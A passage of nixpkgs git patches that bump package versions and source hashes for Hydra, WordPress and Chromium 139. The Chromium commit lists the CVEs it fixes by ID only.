Diff: https://github.com/NixOS/hydra/compare/455f1a0665c6ca55df2a17679f6103402a9e9431...2e3c168ec49fb78554247bf1aa7d11fbf716e107
(cherry picked from commit cd9bf3369b9fc4ea0a6a8d91902a41d520580cb9)
---
 pkgs/by-name/hy/hydra/package.nix | 6 +++---
 pkgs/top-level/all-packages.nix   | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 3c8422635c82..61d8d1606397 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -130,13 +130,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-04-23";
+  version = "0-unstable-2025-05-27";
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "455f1a0665c6ca55df2a17679f6103402a9e9431";
-    hash = "sha256-rn9ZE4ERml8ZkT9ziDrqGEJfzr0rJlzYfu2PHL71oiI=";
+    rev = "2e3c168ec49fb78554247bf1aa7d11fbf716e107";
+    hash = "sha256-S3gG8xXItXdefeSIaR4tTzjHv+pceu/i5s+wGQNHAWQ=";
   };
 
   outputs = [
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 434eb08f7c60..8cf0ed5f9eca 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -8542,7 +8542,7 @@ with pkgs;
 
   hunspellWithDicts = dicts: callPackage ../by-name/hu/hunspell/wrapper.nix { inherit dicts; };
 
-  hydra = callPackage ../by-name/hy/hydra/package.nix { nix = nixVersions.nix_2_28; };
+  hydra = callPackage ../by-name/hy/hydra/package.nix { nix = nixVersions.nix_2_29; };
 
   icu-versions = callPackages ../development/libraries/icu { };
   inherit (icu-versions)

From 512b42e95b6a3cd419871c886f6eef286d223d0f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Mon, 16 Jun 2025 00:40:29 +0200
Subject: [PATCH 3224/4511] hydra: avoid drawing in development dependencies
 from nix 2.29 on runtime

(cherry picked from commit b2d0cbc4a151c73e7e1c1bba1c955f096ef5e42c)
---
 pkgs/by-name/hy/hydra/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 61d8d1606397..fceef1e4812b 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -239,7 +239,7 @@ stdenv.mkDerivation (finalAttrs: {
         read -n 4 chars < $i
         if [[ $chars =~ ELF ]]; then continue; fi
         wrapProgram $i \
-            --prefix PERL5LIB ':' $out/libexec/hydra/lib:$PERL5LIB \
+            --prefix PERL5LIB ':' "$out/libexec/hydra/lib:${perlPackages.makePerlPath [ perlDeps ]}" \
             --prefix PATH ':' $out/bin:$hydraPath \
             --set-default HYDRA_RELEASE ${finalAttrs.version} \
             --set HYDRA_HOME $out/libexec/hydra \

From 4430bec5ea49bd66e78d23703284ddad39db203e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 22:27:23 +0000
Subject: [PATCH 3225/4511] hydra: 0-unstable-2025-05-27 ->
 0-unstable-2025-06-15

(cherry picked from commit d1b8d29209cc92cc4888cabdba85c2c17a64760b)
---
 pkgs/by-name/hy/hydra/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index fceef1e4812b..3feeeed41fb1 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -130,13 +130,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-05-27";
+  version = "0-unstable-2025-06-15";
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "2e3c168ec49fb78554247bf1aa7d11fbf716e107";
-    hash = "sha256-S3gG8xXItXdefeSIaR4tTzjHv+pceu/i5s+wGQNHAWQ=";
+    rev = "ed500ca4345f7edaa6c3d84027a7599d38b15a29";
+    hash = "sha256-Mxz4n40VKxA2ILtIHX6fObgcy2WlgsM+ERfpjuVJ0BU=";
   };
 
   outputs = [

From a1af4674aabb2b0c6ed6324297ff6831edc27a13 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Mon, 14 Jul 2025 12:30:02 +1000
Subject: [PATCH 3226/4511] hydra: disable nixpkgs-update

prevent the bot from sending PRs where the only upstream change is a flake.lock update

(cherry picked from commit 3ebec4d8ca7f14392db8fad958ae0a77aeb8fd3c)
---
 pkgs/by-name/hy/hydra/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 3feeeed41fb1..1e5c1d91ab9b 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -131,6 +131,7 @@ in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
   version = "0-unstable-2025-06-15";
+  # nixpkgs-update: no auto update
 
   src = fetchFromGitHub {
     owner = "NixOS";

From 46cfbb2297f574d5d0d1bc64df98ed4d1cf9e164 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Sun, 27 Jul 2025 12:45:54 +1000
Subject: [PATCH 3227/4511] hydra: 0-unstable-2025-06-15 ->
 0-unstable-2025-07-17

Diff: https://github.com/NixOS/hydra/compare/ed500ca4345f7edaa6c3d84027a7599d38b15a29...b812bb5017cac055fa56ffeac5440b6365830d67
(cherry picked from commit cc255e52331a8ddf7ee3e42883ba7ff8982f7cf9)
---
 pkgs/by-name/hy/hydra/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 1e5c1d91ab9b..5ec48a6624b0 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -130,14 +130,14 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-06-15";
+  version = "0-unstable-2025-07-17";
   # nixpkgs-update: no auto update
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "ed500ca4345f7edaa6c3d84027a7599d38b15a29";
-    hash = "sha256-Mxz4n40VKxA2ILtIHX6fObgcy2WlgsM+ERfpjuVJ0BU=";
+    rev = "b812bb5017cac055fa56ffeac5440b6365830d67";
+    hash = "sha256-XmoecWRUvUX8jf0U0cGyP4AfLHb0D2D4Ec69jqwrWVI=";
   };
 
   outputs = [

From bd83070f34860b8d49b8f209f7d5208a5cee4281 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 14:08:15 +0000
Subject: [PATCH 3228/4511] wordpress: 6.8.1 -> 6.8.2

(cherry picked from commit 8900b9d7245e8f70a85f7d871e5f8fa512bc29f5)
---
 pkgs/servers/web-apps/wordpress/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/web-apps/wordpress/default.nix b/pkgs/servers/web-apps/wordpress/default.nix
index 962f5bb20c7b..fc3422913324 100644
--- a/pkgs/servers/web-apps/wordpress/default.nix
+++ b/pkgs/servers/web-apps/wordpress/default.nix
@@ -6,7 +6,7 @@ builtins.mapAttrs (_: callPackage ./generic.nix) rec {
     hash = "sha256-z9nIPPqd2gNRiY6ptz9YmVyBeZSlQkvhh3f4PohqPPY=";
   };
   wordpress_6_8 = {
-    version = "6.8.1";
-    hash = "sha256-PGVNB5vELE6C/yCmlIxFYpPhBLZ2L/fJ/JSAcbMxAyg=";
+    version = "6.8.2";
+    hash = "sha256-2Fpy45K/6GaBazwuvGpEaZByqlDMOmIPHE7S8TtkXis=";
   };
 }

From 0ae3270e59e3b221a2ccbd9579527c0666263804 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 5 Aug 2025 22:12:20 +0200
Subject: [PATCH 3229/4511] chromium,chromedriver: 138.0.7204.183 ->
 139.0.7258.66

https://developer.chrome.com/blog/new-in-chrome-139

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop.html

This update includes 12 security fixes.

CVEs:
CVE-2025-8576 CVE-2025-8577 CVE-2025-8578 CVE-2025-8579 CVE-2025-8580
CVE-2025-8581 CVE-2025-8582 CVE-2025-8583

(cherry picked from commit aad64d42397fe135bec8e9caf6005c2e05dd6863)
---
 .../networking/browsers/chromium/common.nix   |   3 +-
 .../browsers/chromium/depot_tools.py          |   2 +-
 .../networking/browsers/chromium/info.json    | 276 +++++++++---------
 3 files changed, 141 insertions(+), 140 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 4196382f3af3..7600b4b66d99 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -728,7 +728,8 @@ let
         # Optional features:
         use_gio = true;
         use_cups = cupsSupport;
-
+      }
+      // lib.optionalAttrs (!chromiumVersionAtLeast "139") {
         # Feature overrides:
         # Native Client support was deprecated in 2020 and support will end in June 2021:
         enable_nacl = false;
diff --git a/pkgs/applications/networking/browsers/chromium/depot_tools.py b/pkgs/applications/networking/browsers/chromium/depot_tools.py
index 0b097a8daffd..ab8007a4e910 100755
--- a/pkgs/applications/networking/browsers/chromium/depot_tools.py
+++ b/pkgs/applications/networking/browsers/chromium/depot_tools.py
@@ -114,7 +114,7 @@ chromium.get_deps(
         },
         **{
         f"checkout_{arch}": True
-        for arch in ["x64", "arm64", "arm", "x86", "mips", "mips64", "ppc"]
+        for arch in ["x64", "arm64", "arm", "x86", "mips", "mips64", "ppc", "riscv64"]
         },
     },
     "",
diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 2ea17ddf2f93..a7dd24f6c91c 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,27 +1,27 @@
 {
   "chromium": {
-    "version": "138.0.7204.183",
+    "version": "139.0.7258.66",
     "chromedriver": {
-      "version": "138.0.7204.184",
-      "hash_darwin": "sha256-d0lo8RPTbxqcDnyyhwM9LhZ+xxKn+rpO4pCmHRlMh88=",
-      "hash_darwin_aarch64": "sha256-e5soo3SJoPCBGrZFtgpU4ms5XEwfoxR2lUT1Ep3AmWw="
+      "version": "139.0.7258.67",
+      "hash_darwin": "sha256-kWrlkFZ1X0n7h5GtnfZnKbT1zylVuaSCDMJA549LoEY=",
+      "hash_darwin_aarch64": "sha256-HWgR2CWj5/N2zPIIHXBnA1DoYe0+KAmScopNfMcYlzc="
     },
     "deps": {
       "depot_tools": {
-        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
-        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
+        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
+        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "gn": {
-        "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
-        "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
+        "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
+        "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
       },
-      "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
+      "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e90faf484ddbc033fc9bf337621761d3dd5c5289",
-        "hash": "sha256-/UFIed+S9XLmR3p8KVnIncxl3a7bIqKPLh6vcEMvAsE=",
+        "rev": "a62d329947691f76c376a873eae39f56381103c8",
+        "hash": "sha256-RWqOw0Kogz2GwbICet7NdcGnZMrkkE4bu70jU+tbYFQ=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -31,28 +31,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "57196dd146582915c955f6d388e31aea93220c51",
-        "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4="
+        "rev": "2a4f69a118bdc5d03c415de1b9b166b2f1d4084f",
+        "hash": "sha256-RHh2WjV65ROxGPboxztrMUbxzVuPfAkLQkoooEOs7k0="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
-        "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko="
+        "rev": "2c359c239b138a20a03f798e47889448ef131c22",
+        "hash": "sha256-WbEMS4wowBw1j7UT/5G5DSmgy5ldmdjxMszYtobr9UI="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
-        "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk="
+        "rev": "e44c3c4560f1742744ef3f9fb4217a5f26ebca1b",
+        "hash": "sha256-WIJAAHO+n6C5N7nyw8m8xGXr/OXvRGfsScBBdUyjxyg="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
-        "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY="
+        "rev": "5bbf35ae6801f579c523893176789774c0726e22",
+        "hash": "sha256-hpOxKXZkZEWNptp31B1DZ8V9E7LsRbbYdPdUD7EYA+8="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
-        "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A="
+        "rev": "79a5aa1b7fcbdf3397bc2a08cbd6ef5c302dfb5a",
+        "hash": "sha256-lddA/+ol5crXlEmRa/JqWvnLTGmyKDUMTlTHC1pFLwc="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -71,18 +71,18 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "d21d90790d8ea421b317c4cb52a0d94133422796",
-        "hash": "sha256-X9GIZkPokZ8ojNVDScDQL8D0tJGsaQMg8ncenuBzFHk="
+        "rev": "a812d22617824ad2cd291e110378ccec5ae7735f",
+        "hash": "sha256-LNLHuhVKulsp0w+rXNqwC9Kh2QdouUvMX3ZNFJKv6t0="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
-        "rev": "852a81f0ae3ab350041d2e44d207a42fb0436ae1",
-        "hash": "sha256-3JBBcBg2ep/7LnvMHBWnqAFG+etETArFXZr4Klv30T4="
+        "rev": "a4cbc4325e6de42ead733f2af43c08292d0e65a8",
+        "hash": "sha256-voZaq/OiP5/QSSZmBx1ifriBc6HQ9+m4pUz0o9+O9x8="
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "3b42119c3e4be5d4720c3c1b384106fa43e9b5e3",
-        "hash": "sha256-UYyBMjv6ATIwBXYngGof85pBCHXb/jYXetVo0oBrHf8="
+        "rev": "823662119bac4eb4a2771a1d45a8c00b5c6737ce",
+        "hash": "sha256-YyNQ7RLkNzV2fbjKuwTT3BSL70Qntb2TY633sbKFD/I="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
-        "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c="
+        "rev": "0145c376fadde16390298681252785f98ae90185",
+        "hash": "sha256-8ztvupTvp5v8lTq3eo/viR9X85qm+bw8299jxr6XslE="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -111,14 +111,19 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "c9d2e24d1a6da00165a0b5908ea4ba05c2e5f0b2",
-        "hash": "sha256-EFhi4dELfyq6FcB+YFlzKfoXz44i5ieFK1KUlFzqE1I="
+        "rev": "4c617fa74b67a177c7bde5f48c73f5a5509121ed",
+        "hash": "sha256-fl3yXkdi1KqrrmHB9k+l/eaINuFHgruUL6MB/9QXvhE="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
         "rev": "d708a2602a5947ee068f784daa1594a673d47c4a",
         "hash": "sha256-GaRtZmYqajLUpt7ToRfMLBlyMiJB5yT9BaaT9pHH7OM="
       },
+      "src/third_party/readability/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/mozilla/readability.git",
+        "rev": "04fd32f72b448c12b02ba6c40928b67e510bac49",
+        "hash": "sha256-yUf4UTwcJ7H0tuN+e6c92F4UUSXjmTNOIKqNZA4+zAo="
+      },
       "src/third_party/content_analysis_sdk/src": {
         "url": "https://chromium.googlesource.com/external/github.com/chromium/content_analysis_sdk.git",
         "rev": "9a408736204513e0e95dd2ab3c08de0d95963efc",
@@ -126,13 +131,13 @@
       },
       "src/third_party/dav1d/libdav1d": {
         "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git",
-        "rev": "8d956180934f16244bdb58b39175824775125e55",
-        "hash": "sha256-+DY4p41VuAlx7NvOfXjWzgEhvtpebjkjbFwSYOzSjv4="
+        "rev": "63bf075aada99afa112f84c61ddc9cead8ce04d3",
+        "hash": "sha256-TD4RZSNOmlNFJQReViaNxMEgWhdXGccLazBzmd+MNs8="
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "1fde167ae683982d77b9ca7e1308bf9f498291e8",
-        "hash": "sha256-PbDTKSU19jn2hLDoazceYB/Rd6/qu6npPSrjOdeXFuU="
+        "rev": "46b4670bc67cb4f6d34f6ce6a46ba7e1d6059abf",
+        "hash": "sha256-fLyP1ww4gtxOnT7FPWfjYS1+DIex+jfufCz7nZS6L10="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -141,8 +146,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "d72e2b1a15d22fc825e2f3c939f1baac43281ae9",
-        "hash": "sha256-0LfNcR1FXy5GcL2yHHA6A7EJIWtZU1U/2xSq/eysUa0="
+        "rev": "d1d0a31a7a6a039a35d3b8bc9586b23c57bea2a5",
+        "hash": "sha256-DCQVRuAEYOne4x2OJMr62HLx7kyan3Uj6UwXnxuDNpg="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -161,13 +166,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
-        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
+        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
       },
       "src/third_party/dawn/third_party/webgpu-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
-        "rev": "60cd9020309b87a30cd7240aad32accd24262a5e",
-        "hash": "sha256-+Kf4yPBhM6y2kYTZud9vCavT/BBOzDBsph5+/bUuwkM="
+        "rev": "4f617851dfa20bd240436d9255bcb7e4dbbb1e3f",
+        "hash": "sha256-ugbed1toiw7aY/v9E6akjFGARBe0/mhRZI9MSHG/JnI="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -181,13 +186,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
-        "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM="
+        "rev": "81be8eb2ca225281bb263ac09ece5370d6462a7d",
+        "hash": "sha256-/GYjjNmbj+bAYy5V15rRkZo54nUx0w0iAujBmTrc1/s="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
-        "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo="
+        "rev": "9d1f417714a6883f8d4e345c07802eb79edd2e90",
+        "hash": "sha256-yxeNERobO7TxJWUfppbBTysPMTifC2xzjUrN6Yzud+U="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -196,8 +201,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
-        "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0="
+        "rev": "c4f7831fe85d210ed50572e54d0cb1a26ccc401a",
+        "hash": "sha256-EKObRlHf5Cu7VyntXR2DC62KaBTciAyvSywyAt5gWy8="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -221,8 +226,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "39ea79a3c132f4e678695c579ea9353d2bd29968",
-        "hash": "sha256-uochXC0AtOw8N/ycyVJdiRw4pibCW2ENrFMT3jtxDSg="
+        "rev": "d7427551d6531037da216d20cd36feb19ed4905f",
+        "hash": "sha256-gJgvE3823NyVOIL0Grkldde3U/N9NNqlLAA0btj3TSg="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -231,23 +236,23 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "fe88d943e5f328b34e38b91296db39650f6ec6f3",
-        "hash": "sha256-WlSxI1J+HjAD2UaQjW3oOQpZDnMn/ROpTLYTP4efTi4="
+        "rev": "349c5cb547162b967df40a336fc08bb18819a5e1",
+        "hash": "sha256-nSU/Od8TupR6dOVr6XC9btwUkjbQ6m3Oh3tChYo5i4g="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "feff46a3cd49eb39667205cdfa2b490bcffc9ba1",
-        "hash": "sha256-YomhvLtDFkGWyivN81gRxtOh9U32Zt6+/obTwccJuRo="
+        "rev": "77308ff3c8445656fd104cd80e3bd933b23cb05d",
+        "hash": "sha256-ONQSTRjrleGERU2ioaCKBcpYT1vhad4hYj/x0MIOh1Q="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
-        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
+        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
+        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "634ef4ab735f8fc717eb17935d5a0f1b9831d852",
-        "hash": "sha256-DwkvDbYKdHfpfKXYaszcK/54Zi2Q52dd9QAUR+Ex+b4="
+        "rev": "bc417052ebef6175721d690a4910e717d92181be",
+        "hash": "sha256-XoI3HbIV52VWbw15Lsk/gwmy09EtenD7iwXVQse5uVs="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -261,8 +266,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "ae3aba99db4c829b4cc4d9fdd54321dedd814dc4",
-        "hash": "sha256-dWWjpQ6M7udOQqUV6P9go3R3O4J2XYpvkngJjRDY4v8="
+        "rev": "d0b490ee091629068e0c11953419eb089f9e6bb2",
+        "hash": "sha256-EmpuOQxshAFa0d6Ddzz6dy21nxHhSn+6Aiz18/o8VUU="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -291,8 +296,8 @@
       },
       "src/third_party/fontconfig/src": {
         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
-        "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y="
+        "rev": "c527fe1452d469e5fa1a211180dd40bcdb79fb2a",
+        "hash": "sha256-dmzY7TcNpZA9SxHn5nN0IaTzBbwCqd1PV5Sg4RuY7aI="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -306,13 +311,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "738905b34bd1f5a8ff51bd2bc8e38a2d8be9bfd6",
-        "hash": "sha256-j5FPldhIOzsOsFBAMyNh44FTeOD8Gm3scoi3B3hhgKQ="
-      },
-      "src/third_party/freetype-testing/src": {
-        "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
-        "rev": "04fa94191645af39750f5eff0a66c49c5cb2c2cc",
-        "hash": "sha256-cpzz5QDeAT3UgAZzwW7c0SgLDQsBwy/1Q+5hz2XW4lE="
+        "rev": "43940e4cb8fa6fec96cd52669544629c5eef58fa",
+        "hash": "sha256-1fnH0Qm9qtzjwBNlyHVQrVvvFelKIdhFMhA0zDxQVUY="
       },
       "src/third_party/fxdiv/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git",
@@ -326,13 +326,13 @@
       },
       "src/third_party/ink/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink.git",
-        "rev": "da9cb551ada1e55309b0ac89b9fbff2d29dbfe1e",
-        "hash": "sha256-MqJXwtUGL/IakwOO63JX4gx0gTocgQT3hbhw6OcYUbc="
+        "rev": "4e6081ad7052f97df7d77e1d87cea2d70c18a47b",
+        "hash": "sha256-SVwZWhM63iN2ajTMldgug0mfJV1rdvxTZwj/zyLe4WA="
       },
       "src/third_party/ink_stroke_modeler/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git",
-        "rev": "03db1ed37b8b10b47d62ed0fa142d198a3861689",
-        "hash": "sha256-jnIljheEBq96e6zZO87bhVJbA1vIjiRzm1Hh6YMBdnU="
+        "rev": "fe79520c9ad7d2d445d26d3c59fda6fc54eb4d5c",
+        "hash": "sha256-4iXoBgCCbWCqGbpchiAYQhKBK9rO1Xb6wP98iMd06cY="
       },
       "src/third_party/instrumented_libs": {
         "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git",
@@ -356,8 +356,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
-        "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0="
+        "rev": "35b75a2cba6ef72b7ce2b6b94b05c54ca07df866",
+        "hash": "sha256-wB33XoxaMQuBls7tNIJ1u61ocKaMw4PyHXBXf/bMNTM="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -386,8 +386,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
